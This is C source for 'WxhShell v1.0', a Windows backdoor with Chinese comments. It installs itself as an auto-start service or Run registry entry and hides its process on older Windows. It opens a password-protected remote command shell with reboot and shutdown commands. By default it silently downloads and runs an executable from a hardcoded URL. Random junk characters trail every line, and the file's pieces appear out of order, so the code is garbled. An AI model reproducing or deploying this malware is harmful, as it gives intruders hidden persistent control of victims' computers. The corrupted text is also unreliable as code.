{ w/Ej>OS
DWORD ExitStatus; h&Q9
DWORD PebBaseAddress; O({vHqN>
DWORD AffinityMask; MsLQ'9%Au
DWORD BasePriority; wML5T+
ULONG UniqueProcessId; XJ9l,:c,
ULONG InheritedFromUniqueProcessId; 9<Kc9Z
} PROCESS_BASIC_INFORMATION; lL]8~3b
&bw
``e&c
PROCNTQSIP NtQueryInformationProcess; 9G)q U
`|d&ta[{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?>
SH`\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o:C],G_
DX)T}V&mP
HANDLE hProcess; Z2soy-
PROCESS_BASIC_INFORMATION pbi; 7\p<k/TS
+'f38D*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '@
C\ ,E
if(NULL == hInst ) return 0; pGh A
3t^r;b
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G>H',iOI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kl)PF),
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gt=
_;KZ
fsVQZ$h73
if (!NtQueryInformationProcess) return 0; ^7O,Vk"Z
G: p!PB>=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' *x?8-K P
if(!hProcess) return 0; FMBzTD
~IP3~m D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]'a9>o
<+2M,fq+
CloseHandle(hProcess); ngC|BLT%h
q9`!T4,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q,H
0=\
if(hProcess==NULL) return 0;
DU.nXwl]
P0N%77p>"
HMODULE hMod; zZ\2fKrpg
char procName[255]; A! j4;=}
unsigned long cbNeeded; <u9U%Vsi
%}%vey
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d,0Yi
u.p
r\sQ8/
CloseHandle(hProcess); k2S6 SB
MX.=k>
if(strstr(procName,"services")) return 1; // 以服务启动 !Qd4Y=
lY_&P.B
return 0; // 注册表启动 ZZXQCP6]
} <O#/-r>2
1]lm0bfs
// 主模块 |( =`l
int StartWxhshell(LPSTR lpCmdLine) .5PcprE/
{ ixFuqPij
SOCKET wsl; &%/kPF~<
BOOL val=TRUE; ;v? !Pml2k
int port=0; Y)=89s&t
struct sockaddr_in door; E'J| p7
I8 \Ka=w
if(wscfg.ws_autoins) Install(); aykNH>#Po
m+J3t@$
port=atoi(lpCmdLine); 8>sToNRNe
h) .([
if(port<=0) port=wscfg.ws_port; oU.LYz_
!Xbr7:UPN1
WSADATA data; C$1}c[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k^IC"pUc
Jm+hDZrW
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,&\uuD&.@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yy"05V.
door.sin_family = AF_INET; ^|(w)Sy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); liUrw7,
door.sin_port = htons(port); [foZO&+!
=O)dHY}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !PzlrH)M=p
closesocket(wsl); u!X$M?D4
return 1; 4?AggqW
} b]NSCu*)s
G^]7!:0
if(listen(wsl,2) == INVALID_SOCKET) { #.(6.Li
closesocket(wsl); J=gerdIk
return 1; lF\oEMd*
} cIO7RD$8
Wxhshell(wsl); Ba\l`$%X
WSACleanup(); hK+Iow-
P>dMET
return 0; hoc$aqP6pp
pOCLyM9c
} ueiXY|
Q`Q%;%t
// 以NT服务方式启动 'wd-!aZAd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SY`
U]-h
{ A(mU,^
DWORD status = 0; T>&d/$;]
DWORD specificError = 0xfffffff; wnL\.%Y^
0wLu*K5$4E
serviceStatus.dwServiceType = SERVICE_WIN32; 24)3^1P\V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; D! 1oYr
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E0<9NFQr7
serviceStatus.dwWin32ExitCode = 0; aMSX"N"ot
serviceStatus.dwServiceSpecificExitCode = 0; -|MeC
serviceStatus.dwCheckPoint = 0; -$E_L:M
serviceStatus.dwWaitHint = 0; 8}\Lt
/.<T^p@\&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `5[d9z/ 6
if (hServiceStatusHandle==0) return; HXTBxh
[lqwzW{(UN
status = GetLastError(); 3hOiHO
;
if (status!=NO_ERROR) DHO6&8S
{ 9=j"kXFf
serviceStatus.dwCurrentState = SERVICE_STOPPED; X=Q)R1~6v
serviceStatus.dwCheckPoint = 0; Y. ]FVq
serviceStatus.dwWaitHint = 0; {q%wr*
serviceStatus.dwWin32ExitCode = status; /RuGh8qzP
serviceStatus.dwServiceSpecificExitCode = specificError; -v4kW0G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6uCa iPV
return; G}d-L!YbE'
} [a;U'v*
C:/O]slH
serviceStatus.dwCurrentState = SERVICE_RUNNING; + RX{
serviceStatus.dwCheckPoint = 0; ]A:n]mL
serviceStatus.dwWaitHint = 0; r^mP'#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >;eWgQ6V
} 4tR:O#($V
<FIc!
// 处理NT服务事件,比如:启动、停止 N<1u,[+
VOID WINAPI NTServiceHandler(DWORD fdwControl) CA)DQYp{
{ P%A^TD|
switch(fdwControl) b-8{bP]n
{ 0Zp)
DM
case SERVICE_CONTROL_STOP: %e2,p&0G
serviceStatus.dwWin32ExitCode = 0; LfEeFF=#n
serviceStatus.dwCurrentState = SERVICE_STOPPED; k/A8|
serviceStatus.dwCheckPoint = 0; -t_t3aU|
serviceStatus.dwWaitHint = 0; &v7$*n27
{ bI
3o|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D<5;4Mb
} x2*l5t
return; XBE+O7
case SERVICE_CONTROL_PAUSE: fr$E'+l)
serviceStatus.dwCurrentState = SERVICE_PAUSED; ct+ ;W
break; f]MKNX
case SERVICE_CONTROL_CONTINUE:
`iYiAc
serviceStatus.dwCurrentState = SERVICE_RUNNING; {.=089`{
break; p
R=FH#
case SERVICE_CONTROL_INTERROGATE: @: u>
break; qjQR0MC
}; ?ACflU_k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W($}G_j[B1
} o2
XKD0n^L[
// 标准应用程序主函数 h.PVR Awk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 36mp+}R#
{ We&~]-b AW
U~8;y'
// 获取操作系统版本 oc+TsVt
OsIsNt=GetOsVer(); h>AK^fX
GetModuleFileName(NULL,ExeFile,MAX_PATH); fgrflW$
6-8,qk
// 从命令行安装 K.s\xA5`_
if(strpbrk(lpCmdLine,"iI")) Install(); EXDZehLD<]
.)L%ANf
// 下载执行文件 'B dZN
if(wscfg.ws_downexe) { Z<L|WRe
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cPD&xVwq>
WinExec(wscfg.ws_filenam,SW_HIDE); IE7%u92
} b&[bfM<
dU`kJ,=Z
if(!OsIsNt) { M0Y#=u.
// 如果时win9x,隐藏进程并且设置为注册表启动 +XV7W=
HideProc(); :.8@ xVH
StartWxhshell(lpCmdLine); Dv~W!T i
} 0LEJnl
else 9u6GeK~G
if(StartFromService()) jcrLUs+\
// 以服务方式启动 Jg} w{,
StartServiceCtrlDispatcher(DispatchTable); 'sb&xj`d
else a;a^- n|D
// 普通方式启动 !'|^`u=eL
StartWxhshell(lpCmdLine); cP#vzFB0>
Jbv66)0M
return 0; cAFYEx/(
} SU>2MT^
$*N^bj
*AK{GfP_
]fxYSm
=========================================== .nDB{@#
t}FwS6u
=PU!hZj"L
fXNl27c-
ca )n*SD
u^2)oL
" kAc8[Hn
>6yA+?[:
#include <stdio.h> C_CUk d[
#include <string.h> (*qMs)~]B
#include <windows.h> fcaUj9qN
#include <winsock2.h> *CtWDUxSdW
#include <winsvc.h> 7]\_7L|>]
#include <urlmon.h> O_vCZW
a3
jEK{QOq0
#pragma comment (lib, "Ws2_32.lib")
h{ xq
#pragma comment (lib, "urlmon.lib") 8v{0=9,Z
}Pi}?
41!
#define MAX_USER 100 // 最大客户端连接数 M N-j$-y}
#define BUF_SOCK 200 // sock buffer Sq<ds}o'8l
#define KEY_BUFF 255 // 输入 buffer ;og[q
c+dmA(JC
#define REBOOT 0 // 重启 Z+p'3
#define SHUTDOWN 1 // 关机 {Xr|L
#bIUO2yVo
#define DEF_PORT 5000 // 监听端口 %?2:1o
Q[rmsk2L'
#define REG_LEN 16 // 注册表键长度 O+f'Ql
#define SVC_LEN 80 // NT服务名长度 {H F,F=W
Y\7WCaSgi
// 从dll定义API ~F)[H'$A
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Q?\%4>2
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XC*!=h*
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _8QHx;}
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <GdQ""X
4hl`~&yDf
// wxhshell配置信息 z4!Y9
struct WSCFG { ~)fd+~4L
int ws_port; // 监听端口 ?aMd#.&
char ws_passstr[REG_LEN]; // 口令 ,F;<Y9]
int ws_autoins; // 安装标记, 1=yes 0=no Fu%D2%V$/
char ws_regname[REG_LEN]; // 注册表键名 i!yu%>:M
char ws_svcname[REG_LEN]; // 服务名 }Bk>'
char ws_svcdisp[SVC_LEN]; // 服务显示名 @#u'z~a)
char ws_svcdesc[SVC_LEN]; // 服务描述信息 :`Sd5b>
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6'S q|@VOi
int ws_downexe; // 下载执行标记, 1=yes 0=no []L
yu
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QmiS/`AAv
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XEX-NE"]
QV%,s!_b
}; 1r:i'cWh
ta
// default Wxhshell configuration S+*%u/;l
struct WSCFG wscfg={DEF_PORT, [}*xxy
"xuhuanlingzhe", 0?80V'
1, ;NoD4*
"Wxhshell", c.?+rcnq
"Wxhshell", >Hd Pcsl L
"WxhShell Service", sjW;Nsp
"Wrsky Windows CmdShell Service", sUe<21:
"Please Input Your Password: ", ]r&dWF
1, paYvYK-K?
"http://www.wrsky.com/wxhshell.exe", WHk rd8
"Wxhshell.exe" wJ>.I<F6B
}; ^J-"8%
PSB@yV <
// 消息定义模块 =@\Li)Y
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eVvDis
char *msg_ws_prompt="\n\r? for help\n\r#>"; h0c&}kM
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fU^6h`t
char *msg_ws_ext="\n\rExit."; `mp3ORR;$
char *msg_ws_end="\n\rQuit."; @%[ dh@oY
char *msg_ws_boot="\n\rReboot..."; 0}4FwcCr\
char *msg_ws_poff="\n\rShutdown..."; ^MczumG[
char *msg_ws_down="\n\rSave to "; 2EAY`}Rl6.
K0 6 E:
char *msg_ws_err="\n\rErr!"; Om,M8!E
char *msg_ws_ok="\n\rOK!"; w~|z0;hC
* .P3fVlZ
char ExeFile[MAX_PATH]; Jc9BZ`~i
int nUser = 0; -<Oy5N
HANDLE handles[MAX_USER]; ?ISv|QpC
int OsIsNt; j0(+Kq:J
X"fSM
#
SERVICE_STATUS serviceStatus; <8sy*A?0z
SERVICE_STATUS_HANDLE hServiceStatusHandle; Su>UXuNdE#
L=v"5)m2R
// 函数声明 -egu5#d>
int Install(void); iS#m{1m$$
int Uninstall(void); {0J
(=\u
int DownloadFile(char *sURL, SOCKET wsh); \!J9|
int Boot(int flag); F#>^S9Gml
void HideProc(void); 6v(;dolBIw
int GetOsVer(void); =JDa[_lpN
int Wxhshell(SOCKET wsl); s9.nU
void TalkWithClient(void *cs); <x->.R_
int CmdShell(SOCKET sock);
2E/yZ ~2s
int StartFromService(void); P$hmDTn72
int StartWxhshell(LPSTR lpCmdLine); *{%d{x}l
*#&s+h,^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wf&1,t3Bgn
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A1kqWhg\
l
]CnLqf&
// 数据结构和表定义 jHx)q|2\
SERVICE_TABLE_ENTRY DispatchTable[] = ?S0gazZm
{ 48W-Tf6v|
{wscfg.ws_svcname, NTServiceMain}, R1/87eB
{NULL, NULL} > Du>vlTY
}; _
ATIV
=7P(T`j
// 自我安装 ^hIKDc!.m
int Install(void) 4SGF8y@WU
{ eT ZQ[qMp
char svExeFile[MAX_PATH]; lKA2~ o
HKEY key; K4|{[YpPB
strcpy(svExeFile,ExeFile); Ng;Fhv+
ufc_m4PN
// 如果是win9x系统,修改注册表设为自启动 *p>1s!i
if(!OsIsNt) { vkg."G:=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :978D0}{p
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ANWUo}j
RegCloseKey(key); 6u-aV
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n<3*7/-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h_?#.z0ih;
RegCloseKey(key); 1z5\>F
return 0; P6([[mmG
} 3^%sz!jK+
} FK!UUy;
} F3,djZq
else { JzZ9ua
?:1)=I<A4
// 如果是NT以上系统,安装为系统服务 ]Yd7
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U.0bbr
if (schSCManager!=0) ^{(i;IVG
{ @ZFU< e$!
SC_HANDLE schService = CreateService
)9mUE*[
( F?!
schSCManager, $KGpcl
wscfg.ws_svcname, sXmo.{Ayb
wscfg.ws_svcdisp, 8QaF(?
SERVICE_ALL_ACCESS, MI<XLn!*
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PdNxuy
SERVICE_AUTO_START, 'RjMwJy{
SERVICE_ERROR_NORMAL, x|oa"l^JZ"
svExeFile, OcLFVD=
NULL, Uk0]A
NULL, Q`4]\)Dp
NULL, h1uD >heGl
NULL, 4 fxD$%9
NULL TPeBb8v8D
); ok+-#~VTn
if (schService!=0) |}y6U< I
{ 7h3JH
CloseServiceHandle(schService); :.,3Zw{l
CloseServiceHandle(schSCManager); p<9e5`&I
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $={WtR
strcat(svExeFile,wscfg.ws_svcname); *;I F^u1
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w}jH,Ew
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UIl^s8/
RegCloseKey(key); gUq)M
return 0; RZ:i60
} 1q[vNP=g&
} LpJ_HU7@lk
CloseServiceHandle(schSCManager); 95G*i;E
} ZdJer6:Z}
} T'TxC)
:8<\]}J
return 1; "[LSDE"(
} vj:hMPC
ZM
xedbr
// 自我卸载 &xwAE*}
int Uninstall(void) G)E#wh_S^
{
"w\Iz]
HKEY key; VK)K#!O8
FrNW@
if(!OsIsNt) { V %cU@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ye8&cZ*.
RegDeleteValue(key,wscfg.ws_regname); uW,L<